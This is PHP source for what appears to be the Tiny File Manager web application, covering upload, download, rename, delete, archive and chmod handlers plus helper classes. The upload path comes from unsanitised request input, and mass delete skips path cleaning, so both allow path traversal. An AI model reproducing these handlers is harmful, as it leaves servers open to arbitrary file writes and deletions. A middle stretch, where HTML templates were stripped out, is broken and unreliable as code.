if ( isset( $_GET['ren'], $_GET['to'] ) && ! FM_READONLY ) {
// old name
$old = $_GET['ren'];
$old = fm_clean_path( $old );
$old = str_replace( '/', '', $old );
// new name
$new = $_GET['to'];
$new = fm_clean_path( strip_tags( $new ) );
$new = str_replace( '/', '', $new );
// path
$path = FM_ROOT_PATH;
if ( FM_PATH != '' ) {
$path .= '/' . FM_PATH;
}
// rename
if ( fm_isvalid_filename( $new ) && $old != '' && $new != '' ) {
if ( fm_rename( $path . '/' . $old, $path . '/' . $new ) ) {
fm_set_msg( sprintf( 'Renamed from %s to %s', fm_enc( $old ), fm_enc( $new ) ) );
} else {
fm_set_msg( sprintf( 'Error while renaming from %s to %s', fm_enc( $old ), fm_enc( $new ) ), 'error' );
}
} else {
fm_set_msg( 'Invalid characters in file name', 'error' );
}
fm_redirect( FM_SELF_URL . '?p=' . urlencode( FM_PATH ) );
}
// Download
if ( isset( $_GET['dl'] ) ) {
$dl = $_GET['dl'];
$dl = fm_clean_path( $dl );
$dl = str_replace( '/', '', $dl );
$path = FM_ROOT_PATH;
if ( FM_PATH != '' ) {
$path .= '/' . FM_PATH;
}
if ( $dl != '' && is_file( $path . '/' . $dl ) ) {
header( 'Content-Description: File Transfer' );
header( 'Content-Type: application/octet-stream' );
header( 'Content-Disposition: attachment; filename="' . basename( $path . '/' . $dl ) . '"' );
header( 'Content-Transfer-Encoding: binary' );
header( 'Connection: Keep-Alive' );
header( 'Expires: 0' );
header( 'Cache-Control: must-revalidate, post-check=0, pre-check=0' );
header( 'Pragma: public' );
header( 'Content-Length: ' . filesize( $path . '/' . $dl ) );
ob_end_clean();
readfile( $path . '/' . $dl );
exit;
} else {
fm_set_msg( 'File not found', 'error' );
fm_redirect( FM_SELF_URL . '?p=' . urlencode( FM_PATH ) );
}
}
// Upload
if ( ! empty( $_FILES ) && ! FM_READONLY ) {
$override_file_name = false;
$f = $_FILES;
$path = FM_ROOT_PATH;
$ds = DIRECTORY_SEPARATOR;
if ( FM_PATH != '' ) {
$path .= '/' . FM_PATH;
}
$errors = 0;
$uploads = 0;
$allowed = ( FM_UPLOAD_EXTENSION ) ? explode( ',', FM_UPLOAD_EXTENSION ) : false;
$filename = $f['file']['name'];
$tmp_name = $f['file']['tmp_name'];
$ext = strtolower( pathinfo( $filename, PATHINFO_EXTENSION ) );
$isFileAllowed = ( $allowed ) ? in_array( $ext, $allowed ) : true;
$targetPath = $path . $ds;
if ( is_writable( $targetPath ) ) {
$fullPath = $path . '/' . $_REQUEST['fullpath'];
$folder = substr( $fullPath, 0, strrpos( $fullPath, "/" ) );
if ( file_exists( $fullPath ) && ! $override_file_name ) {
$ext_1 = $ext ? '.' . $ext : '';
$fullPath = str_replace( $ext_1, '', $fullPath ) . '_' . date( 'ymdHis' ) . $ext_1;
}
if ( ! is_dir( $folder ) ) {
$old = umask( 0 );
mkdir( $folder, 0777, true );
umask( $old );
}
if ( empty( $f['file']['error'] ) && ! empty( $tmp_name ) && $tmp_name != 'none' && $isFileAllowed ) {
if ( move_uploaded_file( $tmp_name, $fullPath ) ) {
// Be sure that the file has been uploaded
if ( file_exists( $fullPath ) ) {
$response = array(
'status' => 'success',
'info' => "file upload successful"
);
} else {
$response = array(
'status' => 'error',
'info' => 'Couldn\'t upload the requested file.'
);
}
} else {
$response = array(
'status' => 'error',
'info' => "Error while uploading files. Uploaded files $uploads",
);
}
}
} else {
$response = array(
'status' => 'error',
'info' => 'The specified folder for upload isn\'t writeable.'
);
}
// Return the response
echo json_encode( $response );
exit();
}
// Mass deleting
if ( isset( $_POST['group'], $_POST['delete'] ) && ! FM_READONLY ) {
$path = FM_ROOT_PATH;
if ( FM_PATH != '' ) {
$path .= '/' . FM_PATH;
}
$errors = 0;
$files = $_POST['file'];
if ( is_array( $files ) && count( $files ) ) {
foreach ( $files as $f ) {
if ( $f != '' ) {
$new_path = $path . '/' . $f;
if ( ! fm_rdelete( $new_path ) ) {
$errors ++;
}
}
}
if ( $errors == 0 ) {
fm_set_msg( 'Selected files and folder deleted' );
} else {
fm_set_msg( 'Error while deleting items', 'error' );
}
} else {
fm_set_msg( 'Nothing selected', 'alert' );
}
fm_redirect( FM_SELF_URL . '?p=' . urlencode( FM_PATH ) );
}
// Pack files
if ( isset( $_POST['group'] ) && ( isset( $_POST['zip'] ) || isset( $_POST['tar'] ) ) && ! FM_READONLY ) {
$path = FM_ROOT_PATH;
$ext = 'zip';
if ( FM_PATH != '' ) {
$path .= '/' . FM_PATH;
}
//set pack type
$ext = isset( $_POST['tar'] ) ? 'tar' : 'zip';
if ( ( $ext == "zip" && ! class_exists( 'ZipArchive' ) ) || ( $ext == "tar" && ! class_exists( 'PharData' ) ) ) {
fm_set_msg( 'Operations with archives are not available', 'error' );
fm_redirect( FM_SELF_URL . '?p=' . urlencode( FM_PATH ) );
}
$files = $_POST['file'];
if ( ! empty( $files ) ) {
chdir( $path );
if ( count( $files ) == 1 ) {
$one_file = reset( $files );
$one_file = basename( $one_file );
$zipname = $one_file . '_' . date( 'ymd_His' ) . '.' . $ext;
} else {
$zipname = 'archive_' . date( 'ymd_His' ) . '.' . $ext;
}
if ( $ext == 'zip' ) {
$zipper = new FM_Zipper();
$res = $zipper->create( $zipname, $files );
} elseif ( $ext == 'tar' ) {
$tar = new FM_Zipper_Tar();
$res = $tar->create( $zipname, $files );
}
if ( $res ) {
fm_set_msg( sprintf( 'Archive %s created', fm_enc( $zipname ) ) );
} else {
fm_set_msg( 'Archive not created', 'error' );
}
} else {
fm_set_msg( 'Nothing selected', 'alert' );
}
fm_redirect( FM_SELF_URL . '?p=' . urlencode( FM_PATH ) );
}
// Unpack
if ( isset( $_GET['unzip'] ) && ! FM_READONLY ) {
$unzip = $_GET['unzip'];
$unzip = fm_clean_path( $unzip );
$unzip = str_replace( '/', '', $unzip );
$isValid = false;
$path = FM_ROOT_PATH;
if ( FM_PATH != '' ) {
$path .= '/' . FM_PATH;
}
if ( $unzip != '' && is_file( $path . '/' . $unzip ) ) {
$zip_path = $path . '/' . $unzip;
$ext = pathinfo( $zip_path, PATHINFO_EXTENSION );
$isValid = true;
} else {
fm_set_msg( 'File not found', 'error' );
}
if ( ( $ext == "zip" && ! class_exists( 'ZipArchive' ) ) || ( $ext == "tar" && ! class_exists( 'PharData' ) ) ) {
fm_set_msg( 'Operations with archives are not available', 'error' );
fm_redirect( FM_SELF_URL . '?p=' . urlencode( FM_PATH ) );
}
if ( $isValid ) {
//to folder
$tofolder = '';
if ( isset( $_GET['tofolder'] ) ) {
$tofolder = pathinfo( $zip_path, PATHINFO_FILENAME );
if ( fm_mkdir( $path . '/' . $tofolder, true ) ) {
$path .= '/' . $tofolder;
}
}
if ( $ext == "zip" ) {
$zipper = new FM_Zipper();
$res = $zipper->unzip( $zip_path, $path );
} elseif ( $ext == "tar" ) {
$gzipper = new PharData( $zip_path );
$res = $gzipper->extractTo( $path );
}
if ( $res ) {
fm_set_msg( 'Archive unpacked' );
} else {
fm_set_msg( 'Archive not unpacked', 'error' );
}
} else {
fm_set_msg( 'File not found', 'error' );
}
fm_redirect( FM_SELF_URL . '?p=' . urlencode( FM_PATH ) );
}
// Change Perms (not for Windows)
if ( isset( $_POST['chmod'] ) && ! FM_READONLY && ! FM_IS_WIN ) {
$path = FM_ROOT_PATH;
if ( FM_PATH != '' ) {
$path .= '/' . FM_PATH;
}
$file = $_POST['chmod'];
$file = fm_clean_path( $file );
$file = str_replace( '/', '', $file );
if ( $file == '' || ( ! is_file( $path . '/' . $file ) && ! is_dir( $path . '/' . $file ) ) ) {
fm_set_msg( 'File not found', 'error' );
fm_redirect( FM_SELF_URL . '?p=' . urlencode( FM_PATH ) );
}
$mode = 0;
if ( ! empty( $_POST['ur'] ) ) {
$mode |= 0400;
}
if ( ! empty( $_POST['uw'] ) ) {
$mode |= 0200;
}
if ( ! empty( $_POST['ux'] ) ) {
$mode |= 0100;
}
if ( ! empty( $_POST['gr'] ) ) {
$mode |= 0040;
}
if ( ! empty( $_POST['gw'] ) ) {
$mode |= 0020;
}
if ( ! empty( $_POST['gx'] ) ) {
$mode |= 0010;
}
if ( ! empty( $_POST['or'] ) ) {
$mode |= 0004;
}
if ( ! empty( $_POST['ow'] ) ) {
$mode |= 0002;
}
if ( ! empty( $_POST['ox'] ) ) {
$mode |= 0001;
}
if ( @chmod( $path . '/' . $file, $mode ) ) {
fm_set_msg( 'Permissions changed' );
} else {
fm_set_msg( 'Permissions not changed', 'error' );
}
fm_redirect( FM_SELF_URL . '?p=' . urlencode( FM_PATH ) );
}
/*************************** /ACTIONS ***************************/
// get current path
$path = FM_ROOT_PATH;
if ( FM_PATH != '' ) {
$path .= '/' . FM_PATH;
}
// check path
if ( ! is_dir( $path ) ) {
fm_redirect( FM_SELF_URL . '?p=' );
}
// get parent folder
$parent = fm_get_parent_path( FM_PATH );
$objects = is_readable( $path ) ? scandir( $path ) : array();
$folders = array();
$files = array();
$current_path = array_slice( explode( "/", $path ), - 1 )[0];
if ( is_array( $objects ) && fm_is_exclude_items( $current_path ) ) {
foreach ( $objects as $file ) {
if ( $file == '.' || $file == '..' ) {
continue;
}
if ( ! FM_SHOW_HIDDEN && substr( $file, 0, 1 ) === '.' ) {
continue;
}
$new_path = $path . '/' . $file;
if ( @is_file( $new_path ) && fm_is_exclude_items( $file ) ) {
$files[] = $file;
} elseif ( @is_dir( $new_path ) && $file != '.' && $file != '..' && fm_is_exclude_items( $file ) ) {
$folders[] = $file;
}
}
}
if ( ! empty( $files ) ) {
natcasesort( $files );
}
if ( ! empty( $folders ) ) {
natcasesort( $folders );
}
// upload form
if ( isset( $_GET['upload'] ) && ! FM_READONLY ) {
fm_show_header(); // HEADER
fm_show_nav_path( FM_PATH ); // current path
//get the allowed file extensions
function getUploadExt() {
$extArr = explode( ',', FM_UPLOAD_EXTENSION );
if ( FM_UPLOAD_EXTENSION && $extArr ) {
array_walk( $extArr, function ( &$x ) {
$x = ".$x";
} );
return implode( ',', $extArr );
}
return '';
}
?>
Copying
Source path:
Destination folder:
Copy
Move
Cancel
Select folder
""
Full path:
File
size: = 1000 ): ?> ()
MIME-type:
Files in archive:
Total size:
Size in archive:
Compression: %
';
}
// Text info
if ( $is_text ) {
$is_utf8 = fm_is_utf8( $content );
if ( function_exists( 'iconv' ) ) {
if ( ! $is_utf8 ) {
$content = iconv( FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content );
}
}
echo 'Charset: ' . ( $is_utf8 ? 'utf-8' : '8 bit' ) . '
';
}
?>
';
} else if ( $online_viewer == 'microsoft' ) {
echo '
';
}
} elseif ( $is_zip ) {
// ZIP content
if ( $filenames !== false ) {
echo '
';
foreach ( $filenames as $fn ) {
if ( $fn['folder'] ) {
echo '' . fm_enc( $fn['name'] ) . '
';
} else {
echo $fn['name'] . ' (' . fm_get_filesize( $fn['filesize'] ) . ')
';
}
}
echo '';
} else {
echo '
Error while fetching archive info
';
}
} elseif ( $is_image ) {
// Image content
if ( in_array( $ext, array( 'gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg' ) ) ) {
echo '
 . ')
';
}
} elseif ( $is_audio ) {
// Audio content
echo '
';
} elseif ( $is_video ) {
// Video content
echo '
';
} elseif ( $is_text ) {
if ( FM_USE_HIGHLIGHTJS ) {
// highlight
$hljs_classes = array(
'shtml' => 'xml',
'htaccess' => 'apache',
'phtml' => 'php',
'lock' => 'json',
'svg' => 'xml',
);
$hljs_class = isset( $hljs_classes[ $ext ] ) ? 'lang-' . $hljs_classes[ $ext ] : 'lang-' . $ext;
if ( empty( $ext ) || in_array( strtolower( $file ), fm_get_text_names() ) || preg_match( '#\.min\.(css|js)$#i', $file ) ) {
$hljs_class = 'nohighlight';
}
$content = '
' . fm_enc( $content ) . '
';
} elseif ( in_array( $ext, array( 'php', 'php4', 'php5', 'phtml', 'phps' ) ) ) {
// php highlight
$content = highlight_string( $content, true );
} else {
$content = '
' . fm_enc( $content ) . '
';
}
echo $content;
}
?>
' . htmlspecialchars( $content ) . '';
} elseif ( $is_text ) {
echo '
' . htmlspecialchars( $content ) . '
';
} else {
fm_set_msg( 'FILE EXTENSION HAS NOT SUPPORTED', 'error' );
}
?>
= $time1 && $upd ) {
return false;
}
}
$ok = copy( $f1, $f2 );
if ( $ok ) {
touch( $f2, $time1 );
}
return $ok;
}
/**
* Get mime type
*
* @param string $file_path
*
* @return mixed|string
*/
function fm_get_mime_type( $file_path ) {
if ( function_exists( 'finfo_open' ) ) {
$finfo = finfo_open( FILEINFO_MIME_TYPE );
$mime = finfo_file( $finfo, $file_path );
finfo_close( $finfo );
return $mime;
} elseif ( function_exists( 'mime_content_type' ) ) {
return mime_content_type( $file_path );
} elseif ( ! stristr( ini_get( 'disable_functions' ), 'shell_exec' ) ) {
$file = escapeshellarg( $file_path );
$mime = shell_exec( 'file -bi ' . $file );
return $mime;
} else {
return '--';
}
}
/**
* HTTP Redirect
*
* @param string $url
* @param int $code
*/
function fm_redirect( $url, $code = 302 ) {
header( 'Location: ' . $url, true, $code );
exit;
}
/**
* Path traversal prevention and clean the url
* It replaces (consecutive) occurrences of / and \\ with whatever is in DIRECTORY_SEPARATOR, and processes /. and /.. fine.
*
* @param $path
*
* @return string
*/
function get_absolute_path( $path ) {
$path = str_replace( array( '/', '\\' ), DIRECTORY_SEPARATOR, $path );
$parts = array_filter( explode( DIRECTORY_SEPARATOR, $path ), 'strlen' );
$absolutes = array();
foreach ( $parts as $part ) {
if ( '.' == $part ) {
continue;
}
if ( '..' == $part ) {
array_pop( $absolutes );
} else {
$absolutes[] = $part;
}
}
return implode( DIRECTORY_SEPARATOR, $absolutes );
}
/**
* Clean path
*
* @param string $path
*
* @return string
*/
function fm_clean_path( $path, $trim = true ) {
$path = $trim ? trim( $path ) : $path;
$path = trim( $path, '\\/' );
$path = str_replace( array( '../', '..\\' ), '', $path );
$path = get_absolute_path( $path );
if ( $path == '..' ) {
$path = '';
}
return str_replace( '\\', '/', $path );
}
/**
* Get parent path
*
* @param string $path
*
* @return bool|string
*/
function fm_get_parent_path( $path ) {
$path = fm_clean_path( $path );
if ( $path != '' ) {
$array = explode( '/', $path );
if ( count( $array ) > 1 ) {
$array = array_slice( $array, 0, - 1 );
return implode( '/', $array );
}
return '';
}
return false;
}
/**
* Check file is in exclude list
*
* @param string $file
*
* @return bool
*/
function fm_is_exclude_items( $file ) {
$ext = strtolower( pathinfo( $file, PATHINFO_EXTENSION ) );
if ( ! in_array( $file, FM_EXCLUDE_ITEMS ) && ! in_array( "*.$ext", FM_EXCLUDE_ITEMS ) ) {
return true;
}
return false;
}
/**
* get language translations from json file
*
* @param int $tr
*
* @return array
*/
function fm_get_translations( $tr ) {
try {
$content = @file_get_contents( 'translation.json' );
if ( $content !== false ) {
$lng = json_decode( $content, true );
global $lang_list;
foreach ( $lng["language"] as $key => $value ) {
$code = $value["code"];
$lang_list[ $code ] = $value["name"];
if ( $tr ) {
$tr[ $code ] = $value["translation"];
}
}
return $tr;
}
} catch ( Exception $e ) {
echo $e;
}
}
/**
* @param $file
* Recover all file sizes larger than > 2GB.
* Works on php 32bits and 64bits and supports linux
*
* @return int|string
*/
function fm_get_size( $file ) {
static $iswin;
static $isdarwin;
if ( ! isset( $iswin ) ) {
$iswin = ( strtoupper( substr( PHP_OS, 0, 3 ) ) == 'WIN' );
}
if ( ! isset( $isdarwin ) ) {
$isdarwin = ( strtoupper( substr( PHP_OS, 0 ) ) == "DARWIN" );
}
static $exec_works;
if ( ! isset( $exec_works ) ) {
$exec_works = ( function_exists( 'exec' ) && ! ini_get( 'safe_mode' ) && @exec( 'echo EXEC' ) == 'EXEC' );
}
// try a shell command
if ( $exec_works ) {
$arg = escapeshellarg( $file );
$cmd = ( $iswin ) ? "for %F in (\"$file\") do @echo %~zF" : ( $isdarwin ? "stat -f%z $arg" : "stat -c%s $arg" );
@exec( $cmd, $output );
if ( is_array( $output ) && ctype_digit( $size = trim( implode( "\n", $output ) ) ) ) {
return $size;
}
}
// try the Windows COM interface
if ( $iswin && class_exists( "COM" ) ) {
try {
$fsobj = new COM( 'Scripting.FileSystemObject' );
$f = $fsobj->GetFile( realpath( $file ) );
$size = $f->Size;
} catch ( Exception $e ) {
$size = null;
}
if ( ctype_digit( $size ) ) {
return $size;
}
}
// if all else fails
return filesize( $file );
}
/**
* Get nice filesize
*
* @param int $size
*
* @return string
*/
function fm_get_filesize( $size ) {
if ( $size < 1000 ) {
return sprintf( '%s B', $size );
} elseif ( ( $size / 1024 ) < 1000 ) {
return sprintf( '%s KB', round( ( $size / 1024 ), 2 ) );
} elseif ( ( $size / 1024 / 1024 ) < 1000 ) {
return sprintf( '%s MB', round( ( $size / 1024 / 1024 ), 2 ) );
} elseif ( ( $size / 1024 / 1024 / 1024 ) < 1000 ) {
return sprintf( '%s GB', round( ( $size / 1024 / 1024 / 1024 ), 2 ) );
} else {
return sprintf( '%s TB', round( ( $size / 1024 / 1024 / 1024 / 1024 ), 2 ) );
}
}
/**
* Get director total size
*
* @param string $directory
*
* @return string
*/
function fm_get_directorysize( $directory ) {
global $calc_folder;
if ( $calc_folder == true ) { // Slower output
$size = 0;
$count = 0;
$dirCount = 0;
foreach ( new RecursiveIteratorIterator( new RecursiveDirectoryIterator( $directory ) ) as $file ) {
if ( $file->isFile() ) {
$size += $file->getSize();
$count ++;
} else if ( $file->isDir() ) {
$dirCount ++;
}
}
// return [$size, $count, $dirCount];
return fm_get_filesize( $size );
} else {
return 'Folder';
} // Quick output
}
/**
* Get info about zip archive
*
* @param string $path
*
* @return array|bool
*/
function fm_get_zif_info( $path, $ext ) {
if ( $ext == 'zip' && function_exists( 'zip_open' ) ) {
$arch = zip_open( $path );
if ( $arch ) {
$filenames = array();
while ( $zip_entry = zip_read( $arch ) ) {
$zip_name = zip_entry_name( $zip_entry );
$zip_folder = substr( $zip_name, - 1 ) == '/';
$filenames[] = array(
'name' => $zip_name,
'filesize' => zip_entry_filesize( $zip_entry ),
'compressed_size' => zip_entry_compressedsize( $zip_entry ),
'folder' => $zip_folder
//'compression_method' => zip_entry_compressionmethod($zip_entry),
);
}
zip_close( $arch );
return $filenames;
}
} elseif ( $ext == 'tar' && class_exists( 'PharData' ) ) {
$archive = new PharData( $path );
$filenames = array();
foreach ( new RecursiveIteratorIterator( $archive ) as $file ) {
$parent_info = $file->getPathInfo();
$zip_name = str_replace( "phar://" . $path, '', $file->getPathName() );
$zip_name = substr( $zip_name, ( $pos = strpos( $zip_name, '/' ) ) !== false ? $pos + 1 : 0 );
$zip_folder = $parent_info->getFileName();
$zip_info = new SplFileInfo( $file );
$filenames[] = array(
'name' => $zip_name,
'filesize' => $zip_info->getSize(),
'compressed_size' => $file->getCompressedSize(),
'folder' => $zip_folder
);
}
return $filenames;
}
return false;
}
/**
* Encode html entities
*
* @param string $text
*
* @return string
*/
function fm_enc( $text ) {
return htmlspecialchars( $text, ENT_QUOTES, 'UTF-8' );
}
/**
* Prevent XSS attacks
*
* @param string $text
*
* @return string
*/
function fm_isvalid_filename( $text ) {
return ( strpbrk( $text, '/?%*:|"<>' ) === false ) ? true : false;
}
/**
* Save message in session
*
* @param string $msg
* @param string $status
*/
function fm_set_msg( $msg, $status = 'ok' ) {
$_SESSION[ FM_SESSION_ID ]['message'] = $msg;
$_SESSION[ FM_SESSION_ID ]['status'] = $status;
}
/**
* Check if string is in UTF-8
*
* @param string $string
*
* @return int
*/
function fm_is_utf8( $string ) {
return preg_match( '//u', $string );
}
/**
* Convert file name to UTF-8 in Windows
*
* @param string $filename
*
* @return string
*/
function fm_convert_win( $filename ) {
if ( FM_IS_WIN && function_exists( 'iconv' ) ) {
$filename = iconv( FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename );
}
return $filename;
}
/**
* @param $obj
*
* @return array
*/
function fm_object_to_array( $obj ) {
if ( ! is_object( $obj ) && ! is_array( $obj ) ) {
return $obj;
}
if ( is_object( $obj ) ) {
$obj = get_object_vars( $obj );
}
return array_map( 'fm_object_to_array', $obj );
}
/**
* Get CSS classname for file
*
* @param string $path
*
* @return string
*/
function fm_get_file_icon_class( $path ) {
// get extension
$ext = strtolower( pathinfo( $path, PATHINFO_EXTENSION ) );
switch ( $ext ) {
case 'ico':
case 'gif':
case 'jpg':
case 'jpeg':
case 'jpc':
case 'jp2':
case 'jpx':
case 'xbm':
case 'wbmp':
case 'png':
case 'bmp':
case 'tif':
case 'tiff':
case 'svg':
$img = 'fa fa-picture-o';
break;
case 'passwd':
case 'ftpquota':
case 'sql':
case 'js':
case 'json':
case 'sh':
case 'config':
case 'twig':
case 'tpl':
case 'md':
case 'gitignore':
case 'c':
case 'cpp':
case 'cs':
case 'py':
case 'map':
case 'lock':
case 'dtd':
$img = 'fa fa-file-code-o';
break;
case 'txt':
case 'ini':
case 'conf':
case 'log':
case 'htaccess':
$img = 'fa fa-file-text-o';
break;
case 'css':
case 'less':
case 'sass':
case 'scss':
$img = 'fa fa-css3';
break;
case 'zip':
case 'rar':
case 'gz':
case 'tar':
case '7z':
$img = 'fa fa-file-archive-o';
break;
case 'php':
case 'php4':
case 'php5':
case 'phps':
case 'phtml':
$img = 'fa fa-code';
break;
case 'htm':
case 'html':
case 'shtml':
case 'xhtml':
$img = 'fa fa-html5';
break;
case 'xml':
case 'xsl':
$img = 'fa fa-file-excel-o';
break;
case 'wav':
case 'mp3':
case 'mp2':
case 'm4a':
case 'aac':
case 'ogg':
case 'oga':
case 'wma':
case 'mka':
case 'flac':
case 'ac3':
case 'tds':
$img = 'fa fa-music';
break;
case 'm3u':
case 'm3u8':
case 'pls':
case 'cue':
$img = 'fa fa-headphones';
break;
case 'avi':
case 'mpg':
case 'mpeg':
case 'mp4':
case 'm4v':
case 'flv':
case 'f4v':
case 'ogm':
case 'ogv':
case 'mov':
case 'mkv':
case '3gp':
case 'asf':
case 'wmv':
$img = 'fa fa-file-video-o';
break;
case 'eml':
case 'msg':
$img = 'fa fa-envelope-o';
break;
case 'xls':
case 'xlsx':
case 'ods':
$img = 'fa fa-file-excel-o';
break;
case 'csv':
$img = 'fa fa-file-text-o';
break;
case 'bak':
$img = 'fa fa-clipboard';
break;
case 'doc':
case 'docx':
case 'odt':
$img = 'fa fa-file-word-o';
break;
case 'ppt':
case 'pptx':
$img = 'fa fa-file-powerpoint-o';
break;
case 'ttf':
case 'ttc':
case 'otf':
case 'woff':
case 'woff2':
case 'eot':
case 'fon':
$img = 'fa fa-font';
break;
case 'pdf':
$img = 'fa fa-file-pdf-o';
break;
case 'psd':
case 'ai':
case 'eps':
case 'fla':
case 'swf':
$img = 'fa fa-file-image-o';
break;
case 'exe':
case 'msi':
$img = 'fa fa-file-o';
break;
case 'bat':
$img = 'fa fa-terminal';
break;
default:
$img = 'fa fa-info-circle';
}
return $img;
}
/**
* Get image files extensions
* @return array
*/
function fm_get_image_exts() {
return array(
'ico',
'gif',
'jpg',
'jpeg',
'jpc',
'jp2',
'jpx',
'xbm',
'wbmp',
'png',
'bmp',
'tif',
'tiff',
'psd',
'svg'
);
}
/**
* Get video files extensions
* @return array
*/
function fm_get_video_exts() {
return array( 'avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv' );
}
/**
* Get audio files extensions
* @return array
*/
function fm_get_audio_exts() {
return array( 'wav', 'mp3', 'ogg', 'm4a' );
}
/**
* Get text file extensions
* @return array
*/
function fm_get_text_exts() {
return array(
'txt',
'css',
'ini',
'conf',
'log',
'htaccess',
'passwd',
'ftpquota',
'sql',
'js',
'json',
'sh',
'config',
'php',
'php4',
'php5',
'phps',
'phtml',
'htm',
'html',
'shtml',
'xhtml',
'xml',
'xsl',
'm3u',
'm3u8',
'pls',
'cue',
'eml',
'msg',
'csv',
'bat',
'twig',
'tpl',
'md',
'gitignore',
'less',
'sass',
'scss',
'c',
'cpp',
'cs',
'py',
'map',
'lock',
'dtd',
'svg',
'scss',
'asp',
'aspx',
'asx',
'asmx',
'ashx',
'jsx',
'jsp',
'jspx',
'cfm',
'cgi'
);
}
/**
* Get mime types of text files
* @return array
*/
function fm_get_text_mimes() {
return array(
'application/xml',
'application/javascript',
'application/x-javascript',
'image/svg+xml',
'message/rfc822',
);
}
/**
* Get file names of text files w/o extensions
* @return array
*/
function fm_get_text_names() {
return array(
'license',
'readme',
'authors',
'contributors',
'changelog',
);
}
/**
* Get online docs viewer supported files extensions
* @return array
*/
function fm_get_onlineViewer_exts() {
return array( 'doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods' );
}
/**
* This function scans the files and folder recursively, and return matching files
*
* @param string $dir
*
* @return json
*/
function scan( $dir, $filter = '' ) {
$path = FM_ROOT_PATH . '/' . $dir;
$ite = new RecursiveIteratorIterator( new RecursiveDirectoryIterator( $path ) );
$rii = new RegexIterator( $ite, "/(" . $filter . ")/i" );
$files = array();
foreach ( $rii as $file ) {
if ( ! $file->isDir() ) {
$fileName = $file->getFilename();
$location = str_replace( FM_ROOT_PATH, '', $file->getPath() );
$files[] = array(
"name" => $fileName,
"type" => "file",
"path" => $location,
);
}
}
return $files;
}
/**
* Class to work with zip files (using ZipArchive)
*/
class FM_Zipper {
private $zip;
public function __construct() {
$this->zip = new ZipArchive();
}
/**
* Create archive with name $filename and files $files (RELATIVE PATHS!)
*
* @param string $filename
* @param array|string $files
*
* @return bool
*/
public function create( $filename, $files ) {
$res = $this->zip->open( $filename, ZipArchive::CREATE );
if ( $res !== true ) {
return false;
}
if ( is_array( $files ) ) {
foreach ( $files as $f ) {
if ( ! $this->addFileOrDir( $f ) ) {
$this->zip->close();
return false;
}
}
$this->zip->close();
return true;
} else {
if ( $this->addFileOrDir( $files ) ) {
$this->zip->close();
return true;
}
return false;
}
}
/**
* Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS)
*
* @param string $filename
* @param string $path
*
* @return bool
*/
public function unzip( $filename, $path ) {
$res = $this->zip->open( $filename );
if ( $res !== true ) {
return false;
}
if ( $this->zip->extractTo( $path ) ) {
$this->zip->close();
return true;
}
return false;
}
/**
* Add file/folder to archive
*
* @param string $filename
*
* @return bool
*/
private function addFileOrDir( $filename ) {
if ( is_file( $filename ) ) {
return $this->zip->addFile( $filename );
} elseif ( is_dir( $filename ) ) {
return $this->addDir( $filename );
}
return false;
}
/**
* Add folder recursively
*
* @param string $path
*
* @return bool
*/
private function addDir( $path ) {
if ( ! $this->zip->addEmptyDir( $path ) ) {
return false;
}
$objects = scandir( $path );
if ( is_array( $objects ) ) {
foreach ( $objects as $file ) {
if ( $file != '.' && $file != '..' ) {
if ( is_dir( $path . '/' . $file ) ) {
if ( ! $this->addDir( $path . '/' . $file ) ) {
return false;
}
} elseif ( is_file( $path . '/' . $file ) ) {
if ( ! $this->zip->addFile( $path . '/' . $file ) ) {
return false;
}
}
}
}
return true;
}
return false;
}
}
/**
* Class to work with Tar files (using PharData)
*/
class FM_Zipper_Tar {
private $tar;
public function __construct() {
$this->tar = null;
}
/**
* Create archive with name $filename and files $files (RELATIVE PATHS!)
*
* @param string $filename
* @param array|string $files
*
* @return bool
*/
public function create( $filename, $files ) {
$this->tar = new PharData( $filename );
if ( is_array( $files ) ) {
foreach ( $files as $f ) {
if ( ! $this->addFileOrDir( $f ) ) {
return false;
}
}
return true;
} else {
if ( $this->addFileOrDir( $files ) ) {
return true;
}
return false;
}
}
/**
* Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS)
*
* @param string $filename
* @param string $path
*
* @return bool
*/
public function unzip( $filename, $path ) {
$res = $this->tar->open( $filename );
if ( $res !== true ) {
return false;
}
if ( $this->tar->extractTo( $path ) ) {
return true;
}
return false;
}
/**
* Add file/folder to archive
*
* @param string $filename
*
* @return bool
*/
private function addFileOrDir( $filename ) {
if ( is_file( $filename ) ) {
return $this->tar->addFile( $filename );
} elseif ( is_dir( $filename ) ) {
return $this->addDir( $filename );
}
return false;
}
/**
* Add folder recursively
*
* @param string $path
*
* @return bool
*/
private function addDir( $path ) {
$objects = scandir( $path );
if ( is_array( $objects ) ) {
foreach ( $objects as $file ) {
if ( $file != '.' && $file != '..' ) {
if ( is_dir( $path . '/' . $file ) ) {
if ( ! $this->addDir( $path . '/' . $file ) ) {
return false;
}
} elseif ( is_file( $path . '/' . $file ) ) {
try {
$this->tar->addFile( $path . '/' . $file );
} catch ( Exception $e ) {
return false;
}
}
}
}
return true;
}
return false;
}
}
/**
* Save Configuration
*/
class FM_Config {
var $data;
function __construct() {
global $root_path, $root_url, $CONFIG;
$fm_url = $root_url . $_SERVER["PHP_SELF"];
$this->data = array(
'lang' => 'en',
'error_reporting' => true,
'show_hidden' => true
);
$data = false;
if ( strlen( $CONFIG ) ) {
$data = fm_object_to_array( json_decode( $CONFIG ) );
} else {
$msg = 'Tiny File Manager
Error: Cannot load configuration';
if ( substr( $fm_url, - 1 ) == '/' ) {
$fm_url = rtrim( $fm_url, '/' );
$msg .= '
';
$msg .= '
Seems like you have a trailing slash on the URL.';
$msg .= '
Try this link: ' . $fm_url . '';
}
die( $msg );
}
if ( is_array( $data ) && count( $data ) ) {
$this->data = $data;
} else {
$this->save();
}
}
function save() {
global $root_path;
$fm_file = $root_path . $_SERVER["PHP_SELF"];
$var_name = '$CONFIG';
$var_value = var_export( json_encode( $this->data ), true );
$config_string = "
' . $_SESSION[ FM_SESSION_ID ]['message'] . '';
unset( $_SESSION[ FM_SESSION_ID ]['message'] );
unset( $_SESSION[ FM_SESSION_ID ]['status'] );
}
}
/**
* Show page header in Login Form
*/
function fm_show_header_login()
{
$sprites_ver = '20160315';
header( "Content-Type: text/html; charset=utf-8" );
